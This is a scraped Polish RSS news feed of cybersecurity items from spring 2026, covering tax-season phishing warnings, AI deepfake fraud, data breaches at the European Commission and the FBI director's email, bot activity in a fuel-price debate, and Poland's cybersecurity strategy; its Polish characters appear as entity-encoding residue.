Trwa sezon rozliczeand#324; PIT. Podatnicy nie powinni jednak zapominaand#263; o tym, and#380;e czas skand#322;adania zeznaand#324; podatkowych jest rand#243;wnieand#380; okresemand#160;and#380;niw dla cyberprzestand#281;pcand#243;w.and#160;Wykorzystujand#261; oni rand#243;and#380;ne sposoby, aby wyand#322;udziand#263; dane i pobawiand#263; nas oszczand#281;dnoand#347;ci. Jako przynand#281;tand#281; podsuwajand#261; podatnikom np. perspektywand#281; ,,szybkiego zwrotu podatkuand#8221;.
and#160;
Zdecydowana wiand#281;kszoand#347;and#263; incydentand#243;w cyberbezpieczeand#324;stwa, ktand#243;re sand#261; zgand#322;aszane do CERT Polska, toand#160;oszustwa internetowe.and#160;Krand#243;luje wand#347;rand#243;d nichand#160;phishing,and#160;czyli wyand#322;udzanie danych i pieniand#281;dzy poprzez faand#322;szywe wiadomoand#347;ci lub strony. Dlatego eksperci apelujand#261;, aby w sezonie podatkowym podatnicy zachowali szczegand#243;lnand#261; czujnoand#347;and#263;. Na jaki podejrzane dziaand#322;ania powinni zwrand#243;ciand#263; uwagand#281;?

Komunikaty i wezwania do zapand#322;aty
Oszuand#347;ci regularnie prowadzand#261;and#160;kampanie phishingowe,and#160;podczas ktand#243;rych podszywajand#261; siand#281; pod Ministerstwo Finansand#243;w, Krajowand#261; Administracjand#281; Skarbowand#261; czy e-Urzand#261;d Skarbowy and#8211; podkreand#347;la Naukowa i Akademicka Sieand#263; Komputerowa and#8211; Paand#324;stwowy Instytut Badawczy (NASK). Najczand#281;and#347;ciej tworzand#261; komunikaty dotyczand#261;ceand#160;nadpand#322;aty podatku, koniecznoand#347;ci dopand#322;atyand#160;lub wezwania do rzekomej kontroli skarbowej.
Oszuand#347;ci przeprowadzajand#261; ataki masowo i wielokanaand#322;owo. Korzystajand#261; w nich najczand#281;and#347;ciej z takich elementand#243;w, jak:
Reklama


Chcesz rozliczyand#263; PIT za 2025 rok?


Uruchom on-line




wiadomoand#347;ci SMS z linkiem do faand#322;szywej strony logowania,
e-maile imitujand#261;ce oficjalnand#261; korespondencjand#281; urzand#281;dowand#261;,
poand#322;and#261;czenia telefoniczne w ktand#243;rych cyberprzestand#281;pcy podszywajand#261; siand#281; pod pracownikand#243;w administracji,
faand#322;szywe strony logowania do e-Urzand#281;du Skarbowego.

Instytucje nie wysyand#322;ajand#261; takich prand#243;and#347;b ani wezwaand#324;
Ministerstwo Cyfryzacji i inne organy wielokrotnie podkreand#347;laand#322;y: instytucje paand#324;stwoweand#160;nie wysyand#322;ajand#261; linkand#243;w do logowania ani prand#243;and#347;band#160;o podanie danych finansowych w wiadomoand#347;ciach SMS czy e-mail. Wobec tego takie dziaand#322;ania zawsze sand#261; oszustwem. Mimo to wielu podatnikand#243;w wciand#261;and#380; nabiera siand#281; na takie wiadomoand#347;ci.

and#8211;and#160;Najwiand#281;kszand#261; siand#322;and#261; phishingu jest jego kontekst. Jeand#380;eli podatnik czeka na zwrot pieniand#281;dzy, wiadomoand#347;and#263; o nadpand#322;acie wydaje siand#281; byand#263; wiarygodna. Oszuand#347;ci wykorzystujand#261; wand#322;aand#347;nie ten mechanizm. Co wiand#281;cej, coraz rzadziej wiadomoand#347;ci od nich wygland#261;dajand#261; jak typowy spam. Dziand#281;ki narzand#281;dziom sztucznej inteligencji treand#347;ci sand#261; poprawne jand#281;zykowo i bardzo dobrze imitujand#261; komunikacjand#281; instytucji publicznych and#8211; mand#243;wi Julia Goand#322;aszewska, ekspertka Intrum.

Podatnicy, ktand#243;rym zabraknie czujnoand#347;ci, mogand#261; wiele straciand#263;. Skutkiem moand#380;e byand#263;and#160;wypand#322;ata and#347;rodkand#243;w z konta, kradzieand#380; toand#380;samoand#347;ciand#160;(np. wyand#322;udzenia poand#380;yczek) lub przejand#281;cie dostand#281;pu do usand#322;ug publicznych poprzez bankowoand#347;and#263; elektronicznand#261;.
Niewiedza i presja czasu
Przestand#281;pcy stosujand#261; podczas swoich dziaand#322;aand#324; rand#243;and#380;ne mechanizmy. Po pierwsze and#8211; wykorzystujand#261;and#160;niewiedzand#281; podatnikand#243;wand#160;o oficjalnych kanaand#322;ach komunikacji. Wiele osand#243;b nie wie, w jaki sposand#243;b urzand#261;d skarbowy kontaktuje siand#281; z podatnikiem. Oszuand#347;ci wykorzystujand#261; tand#281; lukand#281;, wysyand#322;ajand#261;c SMS-y lub e-maile z informacjand#261; np. o nadpand#322;acie podatku czy teand#380; kontroli podatkowej i proand#347;band#261; o and#8222;potwierdzenie danychand#8221;.
Oszuand#347;ci stosujand#261; teand#380;and#160;psychomanipulacjand#281; i presjand#281; czasu. W wiadomoand#347;ciach czand#281;sto pojawiajand#261; siand#281; komunikaty typu: ,,Aby otrzymaand#263; zwrot podatku, podaj dane w ciand#261;gu X minutand#8221;. Presja czasu ma skand#322;oniand#263; odbiorcand#281; do szybkiego klikniand#281;cia w link, zanim zdand#261;and#380;y zweryfikowaand#263; and#378;rand#243;dand#322;o.
Faand#322;szywe strony, aplikacje i manipulacja przez telefon
Cyberprzestand#281;pcy coraz czand#281;and#347;ciejand#160;kopiujand#261; wygland#261;d portali rzand#261;dowych.and#160;Faand#322;szywe strony logowania czand#281;sto wygland#261;dajand#261; niemal identycznie jak te administracji publicznej - rand#243;and#380;nica moand#380;e tkwiand#263; jedynie w adresie strony.
Kolejnand#261; metodand#261; jestand#160;manipulacja telefonicznaand#160;- przestand#281;pcy potrafiand#261; podszyand#263; siand#281; pod pracownika instytucji publicznej, dziand#281;ki czemu poand#322;and#261;czenie nie wzbudza podejrzeand#324;. Roand#347;nie teand#380; liczba faand#322;szywych aplikacji lub kampanii w mediach spoand#322;ecznoand#347;ciowych. Cyberprzestand#281;pcy tworzand#261; faand#322;szywe aplikacje do przekazania 1,5 proc. podatku z podstawionym numerem KRS. Oferujand#261; takand#380;e and#8222;gwarantowany wysoki zwrot PITand#8221; w reklamach w mediach spoand#322;ecznoand#347;ciowych.

and#8211;and#160;Cyberprzestand#281;pcy bardzo szybko reagujand#261; na zmiany w otoczeniu cyfrowym. Wykorzystujand#261; aktualne wydarzenia, nowe narzand#281;dzia technologiczne i rosnand#261;cand#261; automatyzacjand#281; komunikacji, Potwierdza to takand#380;e NASK, ktand#243;ry wskazuje, and#380;e to wand#322;aand#347;nie pomiand#281;dzy lutym a czerwcem 2025 r. przestand#281;pcy podszywali siand#281; pod Krajowand#261; Administracjand#281; Skarbowand#261; i Urzand#281;dy Skarbowe. Wysyand#322;ali faand#322;szywe e-maile z obietnicami zwrotu nadpand#322;aconego podatku lub z groand#378;bami kontroli. Zawieraand#322;y one linki do podrabianych stron KAS, podszywali siand#281; teand#380; pod witrynand#281; podatki.gov.pl proszand#261;c o logowanie przez Profil Zaufany, czy teand#380; podanie danych z karty. W tym roku mogand#261; dziaand#322;aand#263; podobnie, bo ich metody niestety siand#281; sprawdzajand#261;and#160;and#8211;and#160;ostrzega Julia Goand#322;aszewska.

Jak rozpoznaand#263; oszustwo?
Jeand#347;li otrzymujemy wiadomoand#347;and#263;, ktand#243;ra dotyczy naszych podatkand#243;w - zawsze powinnoand#160;wzbudziand#263; to naszand#261; czujnoand#347;and#263;, bowiem istnieje ryzyko, and#380;e mamy do czynienia z cyberprzestand#281;pstwem. Eksperci Intrum radzand#261;, aby podatnicy zwracali uwagand#281; na:

wiadomoand#347;ci e-mail i SMS z linkiem - bardzo waand#380;ne jest to, aby sprawdzaand#263; numer i adres nadawcy. Przykand#322;ad? Nigdy ufajmy nadawcom wysyand#322;ajand#261;cym maile z koand#324;cand#243;wkand#261; innand#261; niand#380; @gov.pl. Instytucje rzand#261;dowe korzystajand#261; wyand#322;and#261;cznie z adresand#243;w w tej domenie. Jak podaje NASK, oszuand#347;ci wysyand#322;ajand#261; maile z faand#322;szywymi nagand#322;and#243;wkami typu ,,Zostaand#322;a odnotowana niewyrand#243;wnana nadpand#322;ata podatkuand#8221;, ,,Wszczand#281;to kontroland#281; podatkowand#261;and#8221; czy ,,Zwrot nadpand#322;aconego podatku czeka na zatwierdzenieand#8221; . W razie wand#261;tpliwoand#347;ci, zawsze moand#380;na skontaktowaand#263; siand#281; z urzand#281;dem, aby zweryfikowaand#263; prawdziwoand#347;and#263; wiadomoand#347;ci,
presjand#281; czasu - oszuand#347;ci kaand#380;and#261; dziaand#322;aand#263; natychmiast,
proand#347;by o dane do logowania lub numer karty - instytucje paand#324;stwowe nigdy nie proszand#261; o nie w wiadomoand#347;ciach e-mail czy teand#380; SMS,
gwarantowany rekordowy zwrot - to bardzo czand#281;sta praktyka cyberprzestand#281;pcand#243;w. Nie dajmy siand#281; nabraand#263; na ich zapewnienia o wzbogaceniu siand#281;.

Gdzie zgand#322;osiand#263; incydent?
Jeand#347;li mamy podejrzenie lub pewnoand#347;and#263;, and#380;eand#160;doszand#322;o do cyberoszustwa, moand#380;emy skontaktowaand#263; siand#281; z dowolnand#261; jednostkand#261; policji. W zaleand#380;noand#347;ci od tego, jakie dane mogand#322;y zostaand#263; wyand#322;udzone, naleand#380;y:

pilnie skontaktowaand#263; siand#281; z bankiem, zmieniand#263; dane logowania,
zastrzec numer PESEL - moand#380;na to zrobiand#263; zdalnie poprzez aplikacjand#281; mObywatel, portal gov.pl lub osobiand#347;cie w Urzand#281;dzie Gminy, band#261;dand#378; banku,
zgand#322;osiand#263; incydent do CERT Polska.

and#8211;and#160;Budowanie cyfrowej odpornoand#347;ci, a tym samym, ograniczenie zaufania w cyberprzestrzeni to dziand#347; jedno z najwaand#380;niejszych wyzwaand#324;. W and#347;wiecie, w ktand#243;rym wiand#281;kszoand#347;and#263; usand#322;ug finansowych i publicznych przenosi siand#281; do internetu, podstawowa wiedza o cyberzagroand#380;eniach staje siand#281; elementem codziennego bezpieczeand#324;stwa finansowego. Edukacja podatnikand#243;w jest wiand#281;c kluczowaand#160;and#8211;and#160;mand#243;wi ekspertka Intrum.

and#160;
and#160;
and#378;rodand#322;o Bankier.pl 1 kwietnia 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Twój szef prosi o pilny przelew - tylko że to nie on. AI dzwoni, pisze i kradnie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1662</link>
			<description><![CDATA[ Twand#243;j szef prosi o pilny przelew and#8211; tylko and#380;e to nie on. Reklama na TikToku wygland#261;da jak materiaand#322; znanej redakcji and#8211; ale prowadzi do faand#322;szywego sklepu. Deepfakeand#8217;i gand#322;osowe i kampanie reklamowe generowane przez AI to nowe ulubione narzand#281;dzia oszustand#243;w. Eksperci z CERT Polska i ESET bijand#261; na alarm.
Z TikToka korzysta ponad 1,7 mld ludzi na and#347;wiecie, a przeciand#281;tny uand#380;ytkownik spand#281;dza tam ok. 35 godzin miesiand#281;cznie. Oszuand#347;ci publikujand#261; na platformie reklamy, ktand#243;re wygland#261;dajand#261; identycznie jak zwykand#322;e kampanie and#8211; z logotypami znanych mediand#243;w, rozpoznawalnymi twarzami i wypowiedziami, ktand#243;re nigdy nie padand#322;y. Czand#281;and#347;and#263; treand#347;ci jest w caand#322;oand#347;ci generowana przez AI.



and#160;


Bankier.pl


and#8222;Uand#380;ytkownik widzi reklamand#281; oznaczonand#261; w normalny sposand#243;b, konto wygland#261;da wiarygodnie. Automatycznie zakand#322;adamy, and#380;e wszystko jest bezpieczne. I wand#322;aand#347;nie na tym oszuand#347;ci budujand#261; caand#322;y mechanizmand#8221; and#8211; tand#322;umaczy Iwona Prand#243;szyand#324;ska z CERT Polska.
Klikniand#281;cie to dopiero poczand#261;tek. Uand#380;ytkownik trafia na faand#322;szywe strony imitujand#261;ce sklepy z aplikacjami lub platformy finansowe. Cel jest zawsze ten sam: wyand#322;udzenie danych, pieniand#281;dzy albo instalacja zand#322;oand#347;liwego oprogramowania. Jak ostrzega Karol Bojke z CERT Polska, pobrana aplikacja moand#380;e przejmowaand#263; SMS-y, powiadomienia i dane logowania
Szef dzwoni z poleceniem przelewu. Tylko and#380;e to deepfake
Z raportu and#8222;Cyberportret polskiego biznesu 2025and#8221; (ESET/DAGMA) wynika, and#380;e 58 proc. pracownikand#243;w w Polsce nie zna nawet pojand#281;cia and#8222;deepfakeand#8221;, a co czwarty przyznaje, and#380;e uznaand#322; za wiarygodne nagranie stworzone przez AI. Schemat ataku jest prosty: przestand#281;pca pobiera kilka sekund gand#322;osu prezesa z wywiadu czy podcastu, generuje realistycznand#261; kopiand#281; i dzwoni do pracownika z pilnym poleceniem.

Przez pewien czas chroniand#322;a nas polszczyzna, ale ten bufor topnieje. Najnowsze narzand#281;dzia dodajand#261; naturalne pauzy i zajand#261;kniand#281;cia, a czand#281;and#347;and#263; dziaand#322;a w czasie rzeczywistym. Przez telefon rozpoznanie podrand#243;bki jest ekstremalnie trudne. O skali zagroand#380;enia and#347;wiadczand#261; konkretne przypadki and#8211; w 2020 r. pracownik firmy z Emiratand#243;w Arabskich przelaand#322; 35 mln dol., bo myand#347;laand#322;, and#380;e rozmawia z dyrektorem. Od tamtego czasu technologia zrobiand#322;a gigantyczny skok do przodu.
Jak siand#281; broniand#263;?
Zasada jest wspand#243;lna dla obu zagroand#380;eand#324;: nie ufaj, sprawdzaj, nie dziaand#322;aj pod presjand#261;. Zanim klikniesz reklamand#281; and#8211; sprawdand#378;, czy materiaand#322; istnieje na stronie and#378;rand#243;dand#322;owej. Zweryfikuj konto i jego historiand#281; publikacji. Jeand#347;li znana osoba nagle promuje kasyno albo w jednej reklamie pojawiajand#261; siand#281; logotypy konkurencyjnych mediand#243;w and#8211; to oszustwo. Po klikniand#281;ciu zawsze sprawdzaj domenand#281; i nigdy nie instaluj aplikacji spoza oficjalnych sklepand#243;w. Podejrzane reklamy zgand#322;aszaj do CERT Polska.
Gdy ktoand#347; dzwoni z pilnand#261; proand#347;band#261; and#8211; nawet jeand#347;li gand#322;os brzmi znajomo and#8211; rozand#322;and#261;cz siand#281; i oddzwoand#324; samodzielnie. Zwracaj uwagand#281; na mechaniczny rytm mowy i brak emocji w gand#322;osie. Nigdy nie wykonuj przelewand#243;w wyand#322;and#261;cznie na podstawie telefonu.
AI w rand#281;kach przestand#281;pcand#243;w to juand#380; nie science fiction, a codziennoand#347;and#263;. Oficjalna reklama na duand#380;ej platformie? Telefon od przeand#322;oand#380;onego? To juand#380; nie sand#261; gwarancje autentycznoand#347;ci. Najlepsza broand#324;? Nawyk weryfikowania. Zanim klikniesz, zanim przelejesz pieniand#261;dze and#8211; zatrzymaj siand#281; i sprawdand#378;. Bo w erze AI pozory myland#261; bardziej niand#380; kiedykolwiek.
and#160;
and#378;rodand#322;o Bankier.pl 31 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ KE prowadzi dochodzenie w związku z atakiem na jej platformę internetową ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1661</link>
			<description><![CDATA[ Rzecznik Komisji Europejskiej Thomas Regnier powiedziaand#322; w poniedziaand#322;ek w Brukseli, and#380;e trwa dochodzenie ws. cyberataku na platformand#281; internetowand#261; KE, hostowanand#261; przez Amazona. Do ataku przyznaand#322;a siand#281; grupa hakerska Shiny Hunters, ktand#243;ra pochwaliand#322;a siand#281;, and#380;e wykradand#322;a 350 gigabajtand#243;w danych, w tym maile z zaand#322;and#261;cznikami.



and#160;


fot. Adam Guz /and#160;/and#160;Kancelaria Premiera RP


Regnier zapewniand#322;, and#380;e KE natychmiast zareagowaand#322;a na atak. - Nasze mechanizmy obronne natychmiast wykryand#322;y zand#322;oand#347;liwand#261; aktywnoand#347;and#263;, a nasze zespoand#322;y wszczand#281;and#322;y dochodzenie. To pozwoliand#322;o nam opanowaand#263; incydent. Nasze sand#322;uand#380;by wdroand#380;yand#322;y and#347;rodki ograniczajand#261;ce ryzyko, aby chroniand#263; usand#322;ugi i dane bez zakand#322;and#243;cania dostand#281;pnoand#347;ci naszych stron internetowych na platformie Europa and#8211; poinformowaand#322; rzecznik.



and#160;



Przedstawiciel KE przyznaand#322;, and#380;e czand#281;and#347;and#263; danych zostaand#322;a rzeczywiand#347;cie wykradziona, ale nie chciaand#322; podaand#263; szczegand#243;and#322;and#243;w, zasand#322;aniajand#261;c siand#281; dobrem and#347;ledztwa. Zapewniand#322; jednak, and#380;e atak dotknand#261;and#322; jedynie obsand#322;ugiwanand#261; przez Amazona infrastrukturand#281; chmurowand#261; Komisji do zarzand#261;dzania platformand#261; internetowand#261; Europa, ktand#243;ra jest witrynand#261; publicznand#261;. Infrastruktura wewnand#281;trzna Komisji nie zostaand#322;a naruszona.
and#160;
Na pytanie dziennikarzy, czy wyciek mand#243;gand#322; zostaand#263; spowodowany tym, and#380;e jeden z pracownikand#243;w padand#322; ofiarand#261; phishingu, czyli wyand#322;udzenia danych logowania, Regnier powiedziaand#322;, and#380;e KE wdroand#380;yand#322;a solidne zasady cyberbezpieczeand#324;stwa i jasne wytyczne, skierowane do pracownikand#243;w. - Zand#322;oand#347;liwe dziaand#322;ania zdarzajand#261; siand#281; coraz czand#281;and#347;ciej - nie tylko w Komisji, ale we wszelkiego rodzaju organizacjach publicznych, instytucjach publicznych, a takand#380;e w podmiotach prywatnych. Jest to wiand#281;c, oczywiand#347;cie, ryzyko, z ktand#243;rym mamy do czynienia na co dzieand#324; and#8211; powiedziaand#322; rzecznik.
Komisja Europejska wykryand#322;a atak 24 marca, a sprawa zostaand#322;a upubliczniona w piand#261;tek, 27 marca. Atak dotknand#261;and#322; infrastrukturand#281; Amazon Web Services, obsand#322;ugujand#261;cand#261; serwisy internetowe Komisji na platformie Europa.eu, na ktand#243;rej znajdujand#261; siand#281; strony internetowe Komisji, Parlamentu Europejskiego, Rady UE i innych instytucji UE.







Do odpowiedzialnoand#347;ci za atak przyznaand#322;a siand#281; grupa cyberprzestand#281;pcza Shiny Hunters, specjalizujand#261;ca siand#281; w kradzieand#380;y duand#380;ych iloand#347;ci danych firm i instytucji oraz wymuszaniu okupand#243;w za ich nieupublicznianie. Hakerzy twierdzand#261;, and#380;e udaand#322;o im siand#281; zdobyand#263; 350 gigabajtand#243;w danych naleand#380;and#261;cych do KE, w tym serwery pocztowe, bazy danych, poufne dokumenty i umowy.
and#160;
and#378;rodand#322;o PAP 30 marzec 2026and#160; and#160;z Brukseli Jowita Kiwnik Parganaand#160;
jowi/ rtt/ ]]></description>
		</item><item>
			<title><![CDATA[ Wyciek danych z unijnej chmury? Hakerzy włamali się na platformę „Europa” ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1660</link>
			<description><![CDATA[ Komisja Europejska poinformowaand#322;a w piand#261;tek, and#380;e 24 marca doszand#322;o do cyberataku wymierzonego w jej infrastrukturand#281; chmurowand#261; obsand#322;ugujand#261;cand#261; platformand#281; internetowand#261; Europa. Z wstand#281;pnych ustaleand#324; wynika, and#380;e z zaatakowanych stron mogand#322;y zostaand#263; pozyskane dane.



and#160;


fot. YVES HERMAN /and#160;/and#160;FORUM/Reuters


KE zaznaczyand#322;a jednak, and#380;e incydent zostaand#322; szybko opanowany, a jego peand#322;ny zakres pozostaje przedmiotem dalszego dochodzenia.
and#8222;Systemy wewnand#281;trzne nie zostaand#322;y dotkniand#281;te cyberatakiemand#8221; and#8211; podkreand#347;lono w komunikacie KE. Nie wskazano dotand#261;d sprawcand#243;w ani grupy odpowiedzialnej za atak.and#160;






and#160;
and#160;







and#378;rodand#322;o PAP 27 marzec 2026and#160; luo/ ap/
and#160;

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Kompromitacja FBI. Irańscy hakerzy włamali się na skrzynkę szefa agencji ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1659</link>
			<description><![CDATA[ Hakerzy z powiand#261;zanej z Iranem grupy Handala ogand#322;osili w piand#261;tek, and#380;e wand#322;amali siand#281; do prywatnej skrzynki mailowej dyrektora FBI Kasha Patela, publikujand#261;c jego zdjand#281;cia i materiaand#322;y. Przedstawiciel resortu sprawiedliwoand#347;ci USA potwierdziand#322; incydent agencji Reutera.






and#160;


fot. Mark Van Scyoc /and#160;/and#160;Shutterstock


Hakerzy zamieand#347;cili na swoim kanale w komunikatorze Telegram oraz na stronie internetowej szereg prywatnych zdjand#281;and#263; Patela oraz jego stare CV.
and#8222;Kash Patel, obecny szef FBI, ktand#243;ry kiedyand#347; z dumand#261; widziaand#322; swoje nazwisko na gand#322;and#243;wnej stronie agencji, teraz znajdzie je na liand#347;cie ofiar, ktand#243;rych systemy zostaand#322;y skutecznie zhakowaneand#8221; - napisano na Telegramie.
and#160;



and#160;



Jak podaand#322;a agencja Reutera, urzand#281;dnik ministerstwa sprawiedliwoand#347;ci USA potwierdziand#322;, and#380;e doszand#322;o do wand#322;amania do prywatnego e-maila szefa FBI i powiedziaand#322;, and#380;e opublikowane materiaand#322;y wygland#261;dajand#261; na autentyczne.
and#160;
Jest to juand#380; kolejny cyberatak tej samej grupy, ktand#243;ra swojand#261; dziaand#322;alnoand#347;and#263; zaczand#281;and#322;a podczas wojny w Strefie Gazy. W marcu dokonaand#322;a teand#380; dotkliwego w skutkach wand#322;amania do systemand#243;w producenta sprzand#281;tu medycznego Stryker, co spowodowaand#322;o zakand#322;and#243;cenia w funkcjonowaniu szpitali. Grupa twierdziand#322;a teand#380;, and#380;e dokonaand#322;a cyberataku na koncern zbrojeniowy Lockheed Martin, lecz firma nie potwierdziand#322;a naruszenia swoich systemand#243;w.

















Ministerstwo sprawiedliwoand#347;ci USA zablokowaand#322;o w ubiegand#322;ym tygodniu domenand#281; i kilka stron internetowych grupy.
and#160;
and#160;
and#378;rodand#322;o PAP 27 marzec 2026and#160; and#160;z Waszyngtonu Oskar Gand#243;rzyand#324;ski (PAP)
osk/ ap/ ]]></description>
		</item><item>
			<title><![CDATA[ Hasło „5,19” zalało polski internet. Analitycy wykryli armię botów w sieci ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1658</link>
			<description><![CDATA[ Pakiet and#8222;Ceny Paliwa Niand#380;ejand#8221;, zakand#322;adajand#261;cy m.in. obniand#380;kand#281; VAT, ogand#322;oszony w czwartek przez premiera Donalda Tuska, osiand#261;gnand#261;and#322; w sieci and#8211; wedand#322;ug Res Futury and#8211; zasiand#281;g 27 mln odbiorcand#243;w. Analitycy wykryli potencjalnand#261; obecnoand#347;and#263; botand#243;w w dyskusji, a kluczowym katalizatorem emocji w internecie staand#322;o siand#281; hasand#322;o and#8222;5,19and#8221;.



and#160;


fot. Andy Shell /and#160;/and#160;Shutterstock


Sejm w piand#261;tek przegand#322;osowaand#322; i przesand#322;aand#322; do Senatu projekty ustaw, ktand#243;re majand#261; obniand#380;yand#263; akcyzand#281; na paliwa oraz wprowadziand#263; maksymalne ceny detaliczne. Chodzi o projekty nowel o zapasach ropy naftowej i podatku akcyzowym. Oba to odpowiedand#378; rzand#261;du na rosnand#261;ce ceny paliw zwiand#261;zane z konfliktem na Bliskim Wschodzie. Obniand#380;ki majand#261; siand#281;gnand#261;and#263; 1,2 zand#322; na litrze. Zgodnie z projektami stawki VAT na paliwa zostanand#261; obniand#380;one z 23 proc. do 8 proc. Premier zapowiedziaand#322; teand#380;, and#380;e w przypadku stwierdzenia nadmiernych zyskand#243;w koncernand#243;w paliwowych moand#380;liwe band#281;dzie zastosowanie podatku od nadmiarowych zyskand#243;w (tzw. windfall tax).
Boty ruszyand#322;y do akcji
Europejski Kolektyw Analityczny Res Futura oszacowaand#322;, and#380;eand#160;16 proc. komentarzy dotyczand#261;cych tego tematu na platformach spoand#322;ecznoand#347;ciowych mogand#322;o byand#263; wygenerowanych przez boty.and#160;Wpisy te charakteryzowaand#322;y siand#281; powtarzalnymi konstrukcjami jand#281;zykowymi, przerand#243;bkami skrand#243;tu pakietu CPN (and#8222;Ceny Paliwa Niand#380;ejand#8221;) oraz niemal identycznymi rozwiniand#281;ciami wand#261;tkand#243;w pobocznych.
Analitycy zwrand#243;cili uwagand#281;, and#380;e konta publikujand#261;ce te treand#347;ci mogand#261; byand#263; nieautentyczne and#8212; wskazujand#261; na to m.in. brak zdjand#281;and#263;, fikcyjne toand#380;samoand#347;ci, losowo generowane dane personalne oraz mechaniczne wklejanie gotowych formuand#322;.
Wedand#322;ug raportu,and#160;poza komentarzami wygenerowanymi przez boty, 41 proc. internautand#243;w wyraziand#322;o w sieci poparcie dla pakietu.and#160;Uand#380;ytkownicy pozytywnie oceniajand#261; interwencjand#281; paand#324;stwa wobec nagand#322;ego wzrostu cen paliw. Chwaland#261; pomysand#322; obniand#380;ki VAT, niand#380;szand#261; akcyzand#281;, wprowadzenie ceny maksymalnej oraz zapowiedand#378; podatku od nadmiernych zyskand#243;w. Grupa ta uwaand#380;a rand#243;wnieand#380;, and#380;e opand#243;r wobec pakietu byand#322;by dziaand#322;aniem sprzecznym z interesem konsumentand#243;w.














Co mand#243;wiand#261; krytycy?
Z kolei pozostaand#322;e 59 proc. internautand#243;w krytykuje pakiet, zarzucajand#261;c jego pand#243;and#378;ne ogand#322;oszenie, rzekomand#261; niewiarygodnoand#347;and#263; oraz obecnoand#347;and#263; politycznego PR. Analitycy zauwaand#380;ajand#261;, and#380;e kluczowym katalizatorem emocji w dyskusji staand#322;o siand#281; hasand#322;o and#8222;5,19and#8221;. Odnosi siand#281; ono do wywiadu z Donaldem Tuskiem dla naTemat.pl z czerwca 2022 r., w ktand#243;rym zapytany o to, ile kosztowaand#322;by litr paliwa dzieand#324; po objand#281;ciu przez niego stanowiska premiera, odpowiedziaand#322;: 5,19 zand#322;. Raport pokazuje, and#380;e liczba staand#322;a siand#281; kluczowym punktem dyskusji i symbolem sprawdzania wiarygodnoand#347;ci dawnej obietnicy.
Dodatkowo, wedand#322;ug Res Futury,and#160;komentowany w sieci wand#261;tek paliwowy miesza siand#281; z narracjami o Niemcach, Ukrainie, Obajtku, pedofilii, Trumpie i szeroko rozumianej zdradzie elit. Oznacza to, and#380;e temat paliw ulegand#322; szerokiej polaryzacji.
Uand#380;ytkownicy internetu oczekujand#261;, and#380;e obniand#380;ka cen na stacjach band#281;dzie widoczna jeszcze przed and#347;wiand#281;tami, a rozwiand#261;zanie band#281;dzie korzystne takand#380;e dla firm, rolnikand#243;w oraz sektora transportu.
W komentarzach nt. cen paliw internauci wyraand#380;ajand#261; gand#322;and#243;wnie zand#322;oand#347;and#263; (30 proc.), ktand#243;ra dotyczy zarand#243;wno samych cen paliw, jak i poczucia bycia oszukiwanym lub okradanym przez politykand#281; cenowand#261;. Wand#347;rand#243;d obecnych w sieci emocji moand#380;na wyrand#243;and#380;niand#263; cynizm (22 proc.), nieufnoand#347;and#263; (18 proc.), ulgand#281; (15 proc.) i drwinand#281; (11 proc.).





Europejski Kolektyw Analityczny Res Futura pozyskuje dane do analiz dotyczand#261;cych zachowaand#324; komunikacyjnych, dynamiki nastrojand#243;w i rozchodzenia siand#281; treand#347;ci w przestrzeni cyfrowej za pomocand#261; platformy SentiOne. Na etapie przetwarzania wstand#281;pnych danych wdraand#380;ane sand#261; autorskie mechanizmy czyszczand#261;ce i walidacyjne, pozwalajand#261;ce na eliminacjand#281; duplikatand#243;w, treand#347;ci nieistotnych oraz komunikatand#243;w zakand#322;and#243;cajand#261;cych analizand#281; kontekstowand#261;. and#8222;Caand#322;oand#347;and#263; prac analitycznych prowadzona jest w zgodzie z regulacjami dotyczand#261;cymi ochrony danych osobowych (RODO) oraz przy zachowaniu rygorystycznych procedur bezpieczeand#324;stwa operacyjnegoand#8221; - zapewnia Res Futura.
and#160;
and#378;rodand#322;o PAP 27 marzec 2026and#160; wm/ bst/ amac/ ]]></description>
		</item><item>
			<title><![CDATA[ Polska na froncie z dezinformacją i AI. Służby specjalne zyskają częściową bezkarność ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1657</link>
			<description><![CDATA[ Szybszy dostand#281;p sand#322;uand#380;b do danych objand#281;tych tajemnicand#261; bankowand#261; oraz ograniczenie odpowiedzialnoand#347;ci karnej funkcjonariuszy za niektand#243;re czynnoand#347;ci podejmowane w ramach walki z cyberprzestand#281;pczoand#347;ciand#261;, znalazand#322;y siand#281; wand#347;rand#243;d postulatand#243;w wymienionych w rzand#261;dowej strategii cyberbezpieczeand#324;stwa RP.



and#160;


fot. Kacper Pempel /and#160;/and#160;Reuters


10 marca Rada Ministrand#243;w przyjand#281;and#322;a Strategiand#281; Cyberbezpieczeand#324;stwa Rzeczypospolitej Polskiej na lata 2025-2029, przygotowanand#261; przez Ministerstwo Cyfryzacji, we wspand#243;and#322;pracy z innymi resortami oraz instytucjami kluczowymi dla bezpieczeand#324;stwa paand#324;stwa. Uchwaand#322;a w sprawie strategii zostaand#322;a opublikowana w tym tygodniu w Monitorze Polskim. Z publikacji wynika, and#380;e rzand#261;d planuje szereg zmian w prawie, w tym Kodeksu karnego, by skutecznie walczyand#263; z cyberprzestand#281;pczoand#347;ciand#261;, cyberterroryzmem i cyberszpiegostwem.
and#160;
Strategia zakand#322;ada, and#380;e w celu szybszego wykrywania sprawcand#243;w przestand#281;pstw w internecie zostanand#261; przygotowane projekty zmian przepisand#243;w umoand#380;liwiajand#261;cych organom and#347;cigania szybszy dostand#281;p do informacji stanowiand#261;cych tajemnicand#281; bankowand#261;.
and#160;
and#8222;Projektowane zmiany prawne band#281;dand#261; dotyczyand#263; teand#380; umoand#380;liwienia and#380;and#261;dania danych objand#281;tych tajemnicand#261; bankowand#261; jedynie na podstawie postanowienia prokuratora, bez udziaand#322;u wand#322;aand#347;ciwego miejscowo sand#261;du okrand#281;gowego. Taka zmiana w znaczand#261;cy sposand#243;b wpand#322;ynie na skutecznoand#347;and#263; prowadzonych postand#281;powaand#324;, koncentracjand#281; materiaand#322;u dowodowego, w szczegand#243;lnoand#347;ci we wstand#281;pnej fazie prowadzonego and#347;ledztwa czy dochodzeniaand#8221; - podkreand#347;lono w dokumencie.
